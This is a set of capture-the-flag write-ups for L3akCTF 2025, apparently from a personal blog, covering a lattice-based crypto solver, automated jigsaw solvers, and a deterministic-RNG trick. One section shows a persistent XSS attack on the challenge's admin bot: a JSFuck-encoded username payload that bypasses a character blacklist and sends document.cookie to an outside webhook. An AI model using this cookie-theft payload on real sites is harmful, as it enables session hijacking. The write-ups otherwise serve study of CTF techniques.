3 4 iv, ciphertext = enc_blob[:16], enc_blob[16:] cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv) flag = unpad(cipher.decrypt(ciphertext), AES.block_size) print(flag) L3AK{hnp_BBB_cvp_4_the_w1n}\nFull Solver Snippet Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import remote from time import time import numpy as np from sage.all import Matrix, vector, RationalField HOST, PORT = \u0026#39;34.59.96.214\u0026#39;, 11000 io = remote(HOST, PORT) header= io.recvuntil(b\u0026#34;option: \u0026#34;).decode() print(header) io.sendline(b\u0026#34;3\u0026#34;) resp = io.recvuntil(b\u0026#34;Exit\u0026#34;).decode().split(\u0026#39;\\n\u0026#39;)[:5] p = int(resp[1].split(\u0026#34; = \u0026#34;)[-1]) n = int(resp[2].split(\u0026#34; = \u0026#34;)[-1]) k = int(resp[3].split(\u0026#34; = \u0026#34;)[-1]) d = int(resp[4].split(\u0026#34; = \u0026#34;)[-1]) print(f\u0026#34;p={p}, n={n}, k={k}, d={d}\u0026#34;) threshold = p \u0026gt;\u0026gt; (k + 1) samples_t = [] samples_z = [] delays = np.array([]) for i in range(d): print(io.recvuntil(b\u0026#34;Choose option: \u0026#34;)) start = time() io.sendline(b\u0026#34;1\u0026#34;) io.recvline() resp = io.recvline().decode().strip() end = time() duration = end - start print(f\u0026#34;Response time: {duration:.6f}s\u0026#34;) delays = np.append(delays, duration) print(f\u0026#34;Response: {resp}\u0026#34;) resp = resp.split(\u0026#34;: \u0026#34;)[-1].split(\u0026#34;, \u0026#34;) t_i = int(resp[0].split(\u0026#34;=\u0026#34;)[-1]) z_i = int(resp[1].split(\u0026#34;=\u0026#34;)[-1]) samples_t.append(t_i) samples_z.append(z_i) avg_delay = np.mean(delays) variance = np.var(delays) std_dev = np.std(delays) print(f\u0026#34;Average delay: {avg_delay:.6f}s, Variance: {variance:.6f}, Std Dev: {std_dev:.6f}\u0026#34;) print(f\u0026#34;Collected {len(samples_t)} samples.\u0026#34;) curated_t = [] curated_z = [] for i in range(len(samples_t)): if True: curated_t.append(samples_t[i]) curated_z.append(samples_z[i]) def solve_hnp(t, u): length = len(t) M = Matrix(RationalField(), length+1, length+1) for i in range(length): M[i, i] = p M[length, i] = t[i] M[length, length] = 1 / (2 ** (k + 1)) def babai(A, w): A = A.LLL(delta=0.75) G = A.gram_schmidt()[0] t = w for i in reversed(range(A.nrows())): c = ((t * G[i]) / (G[i] * G[i])).round() t -= A[i] * c return w - t closest = babai(M, vector(u + [0])) return (closest[-1] * (2 ** (k + 1))) % p alpha = solve_hnp(curated_t, curated_z) print(f\u0026#34;Recovered alpha: {alpha}\u0026#34;) io.sendlineafter(b\u0026#34;Choose option: \u0026#34;, b\u0026#34;2\u0026#34;) from base64 import b64decode io.recvline() enc_flag = io.recvline().decode().strip().split(\u0026#34;Flag: \u0026#34;)[-1] print(f\u0026#34;Encrypted flag: {enc_flag}\u0026#34;) enc_flag = b64decode(enc_flag) from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from hashlib import sha256 key = sha256(str(alpha).encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv=enc_flag[:16]) flag = unpad(cipher.decrypt(enc_flag[16:]), AES.block_size) print(f\u0026#34;Decrypted flag: {flag.decode()}\u0026#34;) Ignore the timing analysis. I initially thought that we had to perform some kind of timing attack due to the number of iterations used to derive $z$\n1 2 3 4 5 time.sleep(0.05) for _ in range(1000): z = random.randrange(1, self.p) if abs(x - z) \u0026lt; threshold: return z Turns out it was a red herring\n","date":"2025-07-14T19:47:16+01:00","image":"https://cs.bitraven.pro/p/magical-oracle-l3akctf-2025/l3akctf_hu_d01f5509e9a07c05.jpg","permalink":"https://cs.bitraven.pro/p/magical-oracle-l3akctf-2025/","title":"Magical Oracle - L3akCTF 2025"},{"content":"Just when we thought we had the system figured out, the authors straight up yeeted the crutch from underneath us: the reference image. The url field in the API response was some nonesense that led nowhere. We were essentially flying blind.\nThis challenge was a two-act play. First, solve a jigsaw puzzle with no picture on the box, that would award us with the source code for the platform. Second, use that source code to scout for a vulnerability that would yield us the flag.\nAct I: CHAOOOOOSSS The problem was simple: we had a bag of puzzle pieces and nothing else. The API provided the grid dimensions and the pieces, but no map.\nThe Madness Arc For a brief, insanely unhinged moment, I considered a semi-manual approach. I built a Python script using OpenCV to create a GUI.\nThe idea was to display the piece needed for the current grid slot alongside a candidate piece from the unplaced pile. I could then cycle through candidates with my keyboard and confirm a match.\nThis seemed plausible for a small puzzle. But the API returned a 32x32 grid. That\u0026rsquo;s 1024 pieces. To place the second piece, I\u0026rsquo;d have to compare it against up to 1023 candidates. To place the third, 1022. The number of potential comparisons was astronomical! The GUI was a nice thought experiment, but insanely impractical. Manual solving was off the table.\nThe Algorithmic Solution If a human can\u0026rsquo;t do it, make the computer thing do it better. The new strategy was to solve the puzzle based on local information alone: matching the edges of adjacent pieces.\nThe logic is pretty much greedy assembly algorithm:\nEdge Extraction: First, iterate through all 1024 pieces and digitally \u0026ldquo;cut off\u0026rdquo; the pixel data for their top, bottom, left, and right edges. Store these in a dictionary for quick access.\nAnchor Point: Assume piece 0 is the top-left corner. I booted up the GUI to place it there myself (it was hella tedious but I\u0026rsquo;m lazy lol). Aligh it at (0, 0).\nGreedy Placement: Iterate through every other slot in the grid (left-to-right, top-to-bottom). For each empty slot, identify its placed neighbors (the piece above and the piece to the left).\nFind the Best Fit: Compare the edges of every unplaced piece against the required edges of the neighbors. The \u0026ldquo;error\u0026rdquo; is the sum of absolute differences in pixel values between the edges. The piece with the lowest total error is declared the best match.\nAssemble and Repeat: Place the best-fit piece into the grid, remove it from the unplaced pile, and move to the next slot.\nThis process builds the image piece by piece, relying on the (fingers crossed) faith that the lowest local error will lead to the correct global solution.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #... for r in range(GRID_ROWS): for c in range(GRID_COLS): if solved_grid[r, c] != -1: continue best_match_idx = -1 min_error = float(\u0026#39;inf\u0026#39;) # Get edges from already-placed neighbors ref_top_edge = edges[solved_grid[r-1, c]][\u0026#39;bottom\u0026#39;] if r \u0026gt; 0 else None ref_left_edge = edges[solved_grid[r, c-1]][\u0026#39;right\u0026#39;] if c \u0026gt; 0 else None # Find the unplaced piece with the best matching edges for candidate_idx in unplaced_indices: candidate_edges = edges[candidate_idx] total_error = 0 if ref_top_edge is not None: total_error += np.sum(np.abs(ref_top_edge.astype(int) - candidate_edges[\u0026#39;top\u0026#39;].astype(int))) if ref_left_edge is not None: total_error += np.sum(np.abs(ref_left_edge.astype(int) - candidate_edges[\u0026#39;left\u0026#39;].astype(int))) if total_error \u0026lt; min_error: min_error = total_error best_match_idx = candidate_idx #... Against all odds, this greedy approach worked flawlessly! The puzzle was solved, but it wasn\u0026rsquo;t that easy to just snatch the flag\u0026hellip;\nAct II: Persistent XSS Solving the puzzle only gave us the key: The Source Code for the platform. The lock was the user profile page. It became clear that the ultimate goal wasn\u0026rsquo;t just solving puzzles, but finding a vulnerability in the platform itself.\nVulnerability Analysis One file in the source code admin.go hinted that an admin bot was constantly monitoring the scoreboard using a special admin cookie\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 func OpenBrowser(uid int, adminCookie string) { b, err := getBrowser() if err != nil { return } defer b.Close() BASE_URL := config.Config.General.ApplicationURL newPage := b.MustPage() ctx, cancel := context.WithTimeout(context.Background(), time.Duration(60*time.Second)) defer cancel() page := newPage.Context(ctx) err = page.SetCookies([]*proto.NetworkCookieParam{{ Name: \u0026#34;session\u0026#34;, Value: adminCookie, Domain: strings.SplitAfter(BASE_URL, \u0026#34;://\u0026#34;)[1], Path: \u0026#34;/\u0026#34;, }}) if err != nil { log.Infof(\u0026#34;%s: %s\u0026#34;, utils.ColorString(\u0026#34;browser error\u0026#34;, utils.RED), utils.ColorString(fmt.Sprint(err), utils.ORANGE)) } err = rod.Try(func() { page.MustNavigate(BASE_URL) time.Sleep(2 * time.Second) page.MustNavigate(BASE_URL + \u0026#34;/profile/\u0026#34; + fmt.Sprint(uid)) time.Sleep(10 * time.Second) log.Infof(\u0026#34;%s uid %s\u0026#34;, utils.ColorString(\u0026#34;finished browser for\u0026#34;, utils.PURPLE), utils.ColorString(fmt.Sprint(uid), utils.HOT_PINK)) }) if errors.Is(err, context.DeadlineExceeded) { log.Info(utils.ColorString(\u0026#34;browser timed out\u0026#34;, utils.RED)) } else if err != nil { log.Infof(\u0026#34;%s: %s\u0026#34;, utils.ColorString(\u0026#34;browser error\u0026#34;, utils.RED), utils.ColorString(fmt.Sprint(err), utils.ORANGE)) } } Since the admin had \u0026ldquo;solved all the challenges\u0026rdquo; (except for the 5th one 😔), we could theoretically use the admin cookie to query /api/getflag for the, you know, flag :)\nFirst of all, we needed to know how we could hijack the admin cookie in the first place, and suprise surprise, they highlighted it for us in sessions.go\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 func ValidateUsername(s string) (string, bool, error) { asUpper := strings.ToUpper(s) for _, c := range config.Config.General.UsernameBlacklist { if strings.Contains(asUpper, c) { return \u0026#34;\u0026#34;, false, fmt.Errorf(\u0026#34;%s\u0026#34;, fmt.Sprintf(\u0026#34;%s banned\u0026#34;, c)) } } if len(s) \u0026gt; config.Config.General.MaxUsernameChars || len(s) \u0026lt; config.Config.General.MinUsernameChars { return \u0026#34;\u0026#34;, false, fmt.Errorf(\u0026#34;%s\u0026#34;, fmt.Sprintf(\u0026#34;bad length %d\u0026#34;, len(s))) } s = strings.ReplaceAll(s, \u0026#34;«\u0026#34;, \u0026#34;\u0026lt;\u0026#34;) // no XSS until getting the source plz s = strings.ReplaceAll(s, \u0026#34;»\u0026#34;, \u0026#34;\u0026gt;\u0026#34;) if !isASCII(s) { return \u0026#34;\u0026#34;, false, fmt.Errorf(\u0026#34;not ascii\u0026#34;) } return s, true, nil } As soon as I read the word XSS I knew I had to call on some web players on my team for help\nShoutout to Colonneil and sebsrt !!\nFrom the snipet above, it\u0026rsquo;s clear that the injection would have to go through the username field. It is not that easy though, there is a list for blacklisted characters in the username, a diabolical one!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 username_blacklist = [ \u0026#34;#\u0026#34;, \u0026#34;$\u0026#34;, \u0026#34;%\u0026#34;, \u0026#34;\u0026amp;\u0026#34;, \u0026#34;\u0026#39;\u0026#34;, \u0026#34;*\u0026#34;, \u0026#34;,\u0026#34;, \u0026#34;-\u0026#34;, \u0026#34;.\u0026#34;, \u0026#34;/\u0026#34;, \u0026#34;:\u0026#34;, \u0026#34;;\u0026#34;, \u0026#34;?\u0026#34;, \u0026#34;@\u0026#34;, \u0026#34;\\\\\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;_\u0026#34;, \u0026#34;`\u0026#34;, \u0026#34;{\u0026#34;, \u0026#34;|\u0026#34;, \u0026#34;}\u0026#34;, \u0026#34;~\u0026#34;, \u0026#34; \u0026#34;, \u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026lt;\u0026#34;, \u0026#34;\u0026gt;\u0026#34;, \u0026#34;SCRIPT\u0026#34;, ] We\u0026rsquo;re prtty lucky they allowed us to breathe at least xd. In short, we have to use an XSS payload as our username without using a keyboard 👍\nBefore worrying about the payload, we need to understand under what circumstances the admin would read our username, and after some digging, we found this function under users.go\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 func (u *User) UpdateUserPoints() { UsersLock.Lock() defer UsersLock.Unlock() userPoints := 1 for _, p := range u.Puzzles { userPoints += p.GetStats().CalcPoints() } u.Points = userPoints if userPoints \u0026gt; config.Config.General.VerifyPointsThreshold \u0026amp;\u0026amp; !u.UserVerified { u.UserVerified = true go admin.OpenBrowser(u.UserID, AdminAccount.SessionToken) log.Infof(\u0026#34;%v: %s, %s\u0026#34;, u, utils.ColorString(\u0026#34;thats a lot of points\u0026#34;, utils.BLUE), utils.ColorString(\u0026#34;asking the admin to make sure everything\u0026#39;s alright\u0026#34;, utils.VIOLET)) } } There it is! the admin checks our profile page which has our username, duhh, if we pass a certain point threshold. He also does this once per user (specified by the !u.UserVerified check) after they pass the point threshold.\nWhat is the threshold you may wonder? It\u0026rsquo;s 59686 points, which is oddly the number of points you get right after solving the puzzle 4 jigsaw\u0026hellip; Do you see where this is going? 🥲\nIf you though that we have to restart with a new user, set the name as the payload, and replay ALL PUZZLES, 1 THROUGH 4 ALL OVER AGAIN, you\u0026rsquo;re damn right!\nDoes it sound frustrating? Yes.\nIs it frustrating? ABSOLUTELY FUCKING YES, but what can we do\u0026hellip;\nThat was only a part of it though, we still have to find a way to bypass the billion checks on the username. Thankfully, one of my teammates pointed out something called JSFuck-encoding, brilliant name if you ask me.\nWhat this essentially does is write JavaScript using only six characters: [, ], (, ), !, and +. It\u0026rsquo;s hideous and hella unreadable, but those are the only symbols allowed through the filtering.\nI know \u0026gt; and \u0026lt; are also filtered out, but as you can see in the code snipped above they\u0026rsquo;re substituted by « and » in the username validation, so we\u0026rsquo;re good.\nThe Plan Create a new account with a malicious username.\nThis username would be a JSFuck-encoded payload.\nThe payload, when rendered on the profile page, would execute.\nThe script\u0026rsquo;s goal: grab the document.cookie of the admin bot when it checks our profile, and exfiltrate it to a webhook I control.\nHere is the payload:\n1 2 3 4 5 // Decoded Payload: fetch(\u0026#39;https://webhook.site/e144c07a-92c5-4579-9e56-8c88bb3e3619?cookie=\u0026#39;+document.cookie) // JSFuck Encoded Payload (truncated for your sanity\u0026#39;s sake): «img\\nsrc=x\\nonerror=[][(![]+[])[+!+[]]+... With everything set in stone, I cleared my cookies, and set the new username (I had to do it through the endpoint /api/setname directly since the frontend also performs some checks, I think\u0026hellip; I honestly forgor 💀)\nSo, I fired up my collection of solvers, plugged in the new session cookie for my XSS account, and endured the last 4 puzzles all over again.\nAbout 30 minutes later, my webhook lit up with a new request. Inside the query parameters was the prize: the admin\u0026rsquo;s session cookie!\nThis obviously didn\u0026rsquo;t work on the first shot. Let\u0026rsquo;s ignore the fact that my first payload was wrong, and that I only realized it after reaching level 4 again, and that I had to re-restart\u0026hellip; pain fr 🥀\nWith the admin cookie, I can query /api/getflag directly for level 4, and we\u0026rsquo;re gucci!\nScript If you\u0026rsquo;re wondering, here\u0026rsquo;s the full script for the first part of the challenge\nClick to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 import os import time import requests import cv2 import numpy as np import base64 import logging BASE_URL = \u0026#39;http://34.55.69.223:14001\u0026#39; SESSION_COOKIE = \u0026#39;mxyALe2gmk2lAYwX7PjP3YBxr3VW63sCu6RLnlOYuoNF7vzAQ_ySSycSOFe5spkv2mj70iqGfc2NbcWbuG6DggbME01xAQbSGGIZ6QV9UVESSNGNRneQqaUrwyz5yNN6nI9MKSoe-xYcSEAMHu0QbUsEqMTAfETN4QVuSxbMhjI=\u0026#39; logging.basicConfig(format=\u0026#39;BIT\u0026gt; %(message)s\u0026#39;, level=logging.INFO) logger = logging.getLogger() def get_puzzle_data(session): \u0026#34;\u0026#34;\u0026#34;Fetches a new puzzle from the API.\u0026#34;\u0026#34;\u0026#34; logger.info(\u0026#34;Requesting a new puzzle...\u0026#34;) try: response = session.get(f\u0026#34;{BASE_URL}/api/newpuzzle\u0026#34;) response.raise_for_status() data = response.json() logger.info(f\u0026#34;Received puzzle: \u0026#39;{data[\u0026#39;title\u0026#39;]}\u0026#39; ({data[\u0026#39;rows\u0026#39;]}x{data[\u0026#39;cols\u0026#39;]})\u0026#34;) return data except requests.exceptions.RequestException as e: logger.error(f\u0026#34;Failed to get new puzzle: {e}\u0026#34;) return None def submit_answer(session, puzzle_id, answer): \u0026#34;\u0026#34;\u0026#34;Submits the final answer to the API.\u0026#34;\u0026#34;\u0026#34; logger.info(\u0026#34;Submitting final answer to the API...\u0026#34;) try: payload = {\u0026#39;puzzle_id\u0026#39;: puzzle_id, \u0026#39;answer\u0026#39;: answer} response = session.post(f\u0026#34;{BASE_URL}/api/checkanswer\u0026#34;, json=payload) response.raise_for_status() result = response.json() if result.get(\u0026#39;correct\u0026#39;): logger.info(f\u0026#34;🎉 Puzzle Solved! Message: {result.get(\u0026#39;winmessage\u0026#39;, \u0026#39;Success!\u0026#39;)}\u0026#34;) else: logger.error(f\u0026#34;API reported an incorrect answer: {result}\u0026#34;) except requests.exceptions.RequestException as e: logger.error(f\u0026#34;Failed to submit answer: {e}\u0026#34;) def solve_automatically(puzzle_data, all_pieces): \u0026#34;\u0026#34;\u0026#34; Solves the puzzle by computationally matching the edges of adjacent pieces. \u0026#34;\u0026#34;\u0026#34; GRID_ROWS, GRID_COLS = puzzle_data[\u0026#39;rows\u0026#39;], puzzle_data[\u0026#39;cols\u0026#39;] num_pieces = len(all_pieces) logger.info(f\u0026#34;Starting automated solver for a {GRID_ROWS}x{GRID_COLS} grid...\u0026#34;) solved_grid = np.full((GRID_ROWS, GRID_COLS), -1, dtype=int) unplaced_indices = list(range(num_pieces)) piece_height, piece_width, _ = all_pieces[0].shape edges = {} for i, piece in enumerate(all_pieces): edges[i] = { \u0026#39;top\u0026#39;: piece[0, :], \u0026#39;bottom\u0026#39;: piece[piece_height-1, :], \u0026#39;left\u0026#39;: piece[:, 0], \u0026#39;right\u0026#39;: piece[:, piece_width-1] } logger.info(\u0026#34;All piece edges have been extracted.\u0026#34;) start_piece_idx = 0 solved_grid[0, 0] = start_piece_idx unplaced_indices.remove(start_piece_idx) logger.info(\u0026#34;Assuming piece 0 is the top-left corner.\u0026#34;) for r in range(GRID_ROWS): for c in range(GRID_COLS): if solved_grid[r, c] != -1: continue best_match_idx = -1 min_error = float(\u0026#39;inf\u0026#39;) ref_top_edge = None if r \u0026gt; 0: top_neighbor_idx = solved_grid[r-1, c] ref_top_edge = edges[top_neighbor_idx][\u0026#39;bottom\u0026#39;] ref_left_edge = None if c \u0026gt; 0: left_neighbor_idx = solved_grid[r, c-1] ref_left_edge = edges[left_neighbor_idx][\u0026#39;right\u0026#39;] for candidate_idx in unplaced_indices: candidate_edges = edges[candidate_idx] total_error = 0 if ref_top_edge is not None: error_top = np.sum(np.abs(ref_top_edge.astype(int) - candidate_edges[\u0026#39;top\u0026#39;].astype(int))) total_error += error_top if ref_left_edge is not None: error_left = np.sum(np.abs(ref_left_edge.astype(int) - candidate_edges[\u0026#39;left\u0026#39;].astype(int))) total_error += error_left if total_error \u0026lt; min_error: min_error = total_error best_match_idx = candidate_idx if min_error == 0: break if best_match_idx != -1: logger.info(f\u0026#34;Placing piece {best_match_idx} at ({r}, {c}) with error: {min_error}\u0026#34;) solved_grid[r, c] = best_match_idx unplaced_indices.remove(best_match_idx) if min_error \u0026gt; 0: logger.warning(f\u0026#34;High error for match at ({r}, {c}). Solution may be incorrect.\u0026#34;) else: logger.error(f\u0026#34;Could not find a matching piece for slot ({r}, {c}). Aborting.\u0026#34;) return None logger.info(\u0026#34;Puzzle assembly complete.\u0026#34;) return solved_grid.flatten().tolist() if __name__ == \u0026#39;__main__\u0026#39;: session = requests.Session() session.cookies.set(\u0026#39;session\u0026#39;, SESSION_COOKIE) puzzle_data = get_puzzle_data(session) if puzzle_data: all_pieces = [cv2.imdecode(np.frombuffer(base64.b64decode(b64), np.uint8), cv2.IMREAD_COLOR) for b64 in puzzle_data[\u0026#39;pieces\u0026#39;]] final_answer = solve_automatically(puzzle_data, all_pieces) if final_answer: logger.info(f\u0026#34;Final answer computed. Submitting...\u0026#34;) submit_answer(session, puzzle_data[\u0026#39;puzzle_id\u0026#39;], final_answer) else: logger.error(\u0026#34;Automated solving failed.\u0026#34;) Sadly no furry artwork this time around, just some cringe lines 😔\nPuzzle 5 This will be a brief one as I haven\u0026rsquo;t solved it myself at the time, but after reading discussion on the ctf\u0026rsquo;s discord, It came to my attention that the solution was to exploit the server\u0026rsquo;s deterministic RNG to rearrange the last puzzle, revealing the flag. Solving it the old-fashioned way is pretty much impossible, since the image is subdivided to 16,000 pieces, each spanning just a few pixels.\n1 2 3 4 5 6 7 8 9 10 11 12 13 u := \u0026amp;User{ Puzzles: make(map[string]*Puzzle), SessionToken: sessionId, Solves: make(map[int]int), ImageOrders: make(map[int][]int), UserID: int(binary.BigEndian.Uint32(userID[:4])), RNG: rand.New(rand.NewSource(int64(binary.BigEndian.Uint64(userID[4:])))), Points: 0, Level: 0, TotalSolves: 0, CreatedTime: time.Now(), UserVerified: false, } As you can see in the User object, the rng responsible for shuffling the image is derived directly from the userID, which we know!\nThe solution becomes trivial:\nCreate a new user, again Note down the userID and write a go script to keep track of the rng state as you advance through the levels When you reach level 5, use your synced up rng state to reverse the shuffling and put back the flag. In my defense, I was super tired after solving level 4 so I didn\u0026rsquo;t even bother with this one. In hindsight, I deeply regret that but fuck it we ball 🤙\n","date":"2025-07-14T18:27:16+01:00","image":"https://cs.bitraven.pro/p/puzzle-4-l3akctf-2025/l3akctf_hu_d01f5509e9a07c05.jpg","permalink":"https://cs.bitraven.pro/p/puzzle-4-l3akctf-2025/","title":"Puzzle 4 - L3akCTF 2025"},{"content":"So, you saw how we handled the last puzzle. It was flashy, watching the browser solve itself was a neat party trick, but it\u0026rsquo;s hella inefficient. Relying on Selenium to brute-force the DOM with clicks felt like using a sledgehammer for brain surgery. For this next stage, the puzzles got harder and the timer got drastically shorter. It was time to evolve.\nAs hinted before, we knew there was a backend API. It was time to stop playing with the frontend puppet and start pulling the strings directly.\nAPI Abuse, In a cool way Why scrape the HTML when you can just ask the server for the data directly? A quick look at the frontend javascript code revealed the endpoints we needed: /api/newpuzzle and /api/checkanswer.\nThe new methodology is surgical and stripped of all excess:\nDirect Requisition: Send a GET request to /api/newpuzzle. The server hands over a JSON object containing everything: puzzle dimensions, the hint URL, and a list of all the scrambled pieces, pre-encoded in Base64. No more parsing the CSS bullshit (thank God 😭🙏)\nHeadless Hinting: The hint URL still points to the original image. We still need to resolve it. For this, Selenium is brought out of retirement to navigate to the URL, grab the final image source, and immediately shut down.\nReference Generation: This remains the same. Download the full-resolution image, perform some calculations to crop and resize it to match the puzzle\u0026rsquo;s true dimensions, and slice it into a grid of perfect reference tiles.\nThe Toolbox: This is where things get interesting. Without having access to the source code (so far ;)), we don\u0026rsquo;t know the exact preprocessing the reference image went through before being sliced into tiles. This became evident with relentless testing that revealed subtle image variations—compression artifacts and slight color and canvas shifts. These were present in the previous puzzle too, but with the pieces being even smaller in size, a single offset pixel will fool the template matching algorithm from earlier. A single strategy was no longer reliable, so why not adopt multiple of them, escalating in intensity:\nAttempt 1: Pixel Difference. A direct, pixel-by-pixel cv2.absdiff comparison. Attempt 2: Perceptual Hashing. If pixel-perfect fails, switch to imagehash. This ignores minor artifacts and compares the \u0026ldquo;fingerprints\u0026rdquo; of the images. Attempt 3 \u0026amp; 4: The Nuclear Option. If both fail, we re-run them, but first apply a heavy GaussianBlur to both the reference and current tiles. This blurs out fine details and noise, forcing the match to be based on the general color and shape of the tiles. It\u0026rsquo;s ugly, but it works when nothing else will. The Verdict: Once a match is found, we don\u0026rsquo;t need to simulate clicks. We construct a JSON payload with the puzzle ID and the answer—a simple list of integers representing the correct final positions of the initial pieces—and POST it directly to /api/checkanswer.\nAfter submitting a solution, we can directly go onto the next puzzle, reducing the overhead time and drastically speeding up the solver.\nTechnical Dive The core of the new solver is its ability to adapt its matching strategy. We cycle through four methods until one yields a correct solution from the API.\n1 2 3 4 5 6 # ... for m in range(4): method = diff_check if m % 2 == 0 else hash_check preprocess = m \u0026gt;= 2 logger.info(f\u0026#34;Using method: {method.__name__} with preprocess={preprocess}\u0026#34;) # ... This loop ensures that if a simple pixel difference fails, we escalate to perceptual hashing, and then to pre-processed (blurred) versions of both. This resilience was key to achieving a 100% solve rate against the varied puzzle sets.\nThe Final Submission Gone are the ActionChains. The final step is a clean, simple API call. After linear_sum_assignment gives us the optimal mapping, we format it into the list the API expects and send it off.\n1 2 3 4 5 6 7 8 9 10 11 12 13 # `answer` is a list where answer[final_pos] = original_pos answer = [0] * n for i in range(n): final_position = col_ind[i] original_index = row_ind[i] answer[final_position] = original_index payload = { \u0026#39;puzzle_id\u0026#39;: ID, \u0026#39;answer\u0026#39;: [int(x) for x in answer] } logger.info(\u0026#34;Submitting final answer to the API...\u0026#34;) response = session.post(f\u0026#34;{BASE_URL}/api/checkanswer\u0026#34;, json=payload) This new approach is brutally efficient. Each puzzle is now solved in seconds, bottlenecked only by the download speed of the source image. The diff_check method is the fastest one, usually clocking in at 5 seconds max to map each tile, making each puzzle take at most 20 seconds to breeze through.\nScript Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 import os import time import requests import cv2 import numpy as np from PIL import Image from io import BytesIO import base64 from tqdm import trange import imagehash from scipy.optimize import linear_sum_assignment import logging from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from collections import Counter # --- Configuration --- BASE_URL = \u0026#39;http://34.55.69.223:14001\u0026#39; cookie = { \u0026#39;name\u0026#39;: \u0026#39;session\u0026#39;, \u0026#39;value\u0026#39;: \u0026#39;mxyALe2gmk2lAYwX7PjP3YBxr3VW63sCu6RLnlOYuoNF7vzAQ_ySSycSOFe5spkv2mj70iqGfc2NbcWbuG6DggbME01xAQbSGGIZ6QV9UVESSNGNRneQqaUrwyz5yNN6nI9MKSoe-xYcSEAMHu0QbUsEqMTAfETN4QVuSxbMhjI=\u0026#39; } SESSION_COOKIE = cookie[\u0026#39;value\u0026#39;] PUZZLE_URL = \u0026#39;http://34.55.69.223:14001/puzzle\u0026#39; logging.basicConfig(format=\u0026#39;BIT\u0026gt; %(message)s\u0026#39;) logger = logging.getLogger() logger.setLevel(logging.INFO) options = webdriver.FirefoxOptions() def phash(tile): pil_img = Image.fromarray(cv2.cvtColor(tile, cv2.COLOR_BGR2RGB)) return imagehash.phash(pil_img) def slice_grid(img, rows, cols): h, w = img.shape[:2] slice_h, slice_w = h // rows, w // cols return [img[i*slice_h:(i+1)*slice_h, j*slice_w:(j+1)*slice_w] for i in range(rows) for j in range(cols)] def preprocess_for_robust_matching(image): return cv2.GaussianBlur(image, (21, 21), 0) def get_border_color(tiles): border_pixels = [] for tile in tiles: h, w, _ = tile.shape if h \u0026gt; 1 and w \u0026gt; 1: border_pixels.extend([tuple(p) for p in tile[0, :, :]]) border_pixels.extend([tuple(p) for p in tile[h-1, :, :]]) border_pixels.extend([tuple(p) for p in tile[1:h-1, 0, :]]) border_pixels.extend([tuple(p) for p in tile[1:h-1, w-1, :]]) if not border_pixels: return [0, 0, 0] most_common_pixel = Counter(border_pixels).most_common(1)[0][0] return list(most_common_pixel) def hash_check(cur_tiles, ref_tiles, preprocess=False): if preprocess: cur_tiles = [preprocess_for_robust_matching(tile) for tile in cur_tiles] ref_tiles = [preprocess_for_robust_matching(tile) for tile in ref_tiles] hashes_ref = [phash(tile) for tile in ref_tiles] hashes_cur = [phash(tile) for tile in cur_tiles] n = len(cur_tiles) cost_matrix = np.zeros((n, n)) for i in trange(n): for j in range(n): cost = hashes_ref[j] - hashes_cur[i] cost_matrix[i, j] = cost row_ind, col_ind = linear_sum_assignment(cost_matrix) return row_ind, col_ind def diff_check(cur_tiles, ref_tiles, preprocess=False): if preprocess: cur_tiles = [preprocess_for_robust_matching(tile) for tile in cur_tiles] ref_tiles = [preprocess_for_robust_matching(tile) for tile in ref_tiles] n = len(cur_tiles) cost_matrix = np.zeros((n, n)) for i in trange(n): for j in range(n): abs_diff = cv2.absdiff(cur_tiles[i], ref_tiles[j]) cost = np.sum(abs_diff) cost_matrix[i, j] = cost row_ind, col_ind = linear_sum_assignment(cost_matrix) return row_ind, col_ind session = requests.Session() session.cookies.set(\u0026#39;session\u0026#39;, SESSION_COOKIE) deebooged = True while True: for m in range(4): method = diff_check if m % 2 == 0 else hash_check preprocess = m \u0026gt;= 2 driver = webdriver.Firefox(options=options) logger.info(f\u0026#34;Using method: {method.__name__} with preprocess={preprocess}\u0026#34;) 